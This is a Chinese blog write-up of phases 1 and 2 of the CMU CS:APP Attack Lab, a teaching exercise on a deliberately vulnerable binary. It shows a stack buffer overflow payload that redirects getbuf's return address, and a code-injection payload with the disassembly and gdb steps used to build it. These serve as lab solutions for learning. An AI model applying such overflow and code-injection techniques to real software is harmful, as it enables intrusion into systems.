Attack Lab 一二题题解
文章目录
最近看深入理解计算机系统的视频,对他们的 Attack Lab 非常感兴趣,于是就找到程序做了一下,感觉还是蛮有意思的。代码和程序需要在 cmu 的网站上下载。下载后解压就可以开始做题了。
第一题
第一题说明了程序里有个存在堆栈溢出的程序 getbuf
,我们的目的就是利用 getbuf
溢出代码并跳转到函数
touch1()
上。
本题基本展示了堆栈溢出攻击最基本的形式。
首先我们使用 objdump -d ctarget >c.txt
将 disassem
的代码保存到 c.txt
里方便我们查看。
我们首先查找 getbuf
函数的位置,大概是这样的:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
代码的意思是,在栈上开辟了一个 40 字节的空间给字符串,并调用
gets()
方法写入到栈上。函数完成后,将回退 40 字节,并调用
ret
回到原函数。
首先,ret
回退地址是保存在当前函数栈之前的,只要我们覆盖了函数栈之前的回退地址,我们就可以跳转到我们想执行的函数上去。
我们首先要获取 touch1()
的地址,可以直接在
c.txt
里搜索,当然,它就在 getbuf
下面。
我们构造一下我们的攻击字符串。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
由于栈空间是低位到高位排布,所以地址也要重新调整一下顺序。前面五行随便什么数字都行,但最后一行必须是地址。
执行:
./hex2raw <phase.txt | ./ctarget -q
结果 PASS 了。
第二题
第二题我们要跳转到 touch2()
上,但 touch2()
是带有参数的,我们不能直接跳转过去。需要首先跳转到我们自己的函数上去,然后再在我们函数上完成参数设置,再跳回去。
这里我们首先要获取 rsp
寄存器里存储的字符串地址,这里我们需要借助 gdb 。
用 gdb 打开 ctarget
(gdb --args ctarget -q
),打上断点(break getbuf
),然后运行至断点(run
),查看寄存器(info registers rsp
)即可。
记录下此时的值,这个值减去 0x28
就是我们需要的地址。
然后我们构造一下我们的恶意代码:
pushq $0x4017ec
mov $0x59b997fa,%rdi
retq
第一行是推入 touch2()
的地址到堆栈, rsp
指针就发生了变动,此时我们 retq
就会跳转到
tocuh2()
。第二句就是将参数传递给参数寄存器。我们编译该段代码
gcc -c phase2.s
,获得 phase2.o
文件,使用
objdump
查看该文件。
0000000000000000 <.text>:
0: 68 ec 17 40 00 push $0x4017ec
5: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
c: c3 ret
由此我们构建我们的 payload 。
68 ec 17 40 00 48 c7 c7
fa 97 b9 59 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
需要注意的是,栈空间是从高到低增长的,但代码空间是低到高增长的。因此,之前将
rsp
减去 0x28
,就是为了获取最低处的地址,由于代码段和栈空间增长方式不一样,所以我们的攻击代码也要对着写。
后面的题目有机会再写。
文章作者 bigshans
上次更新 2023-03-12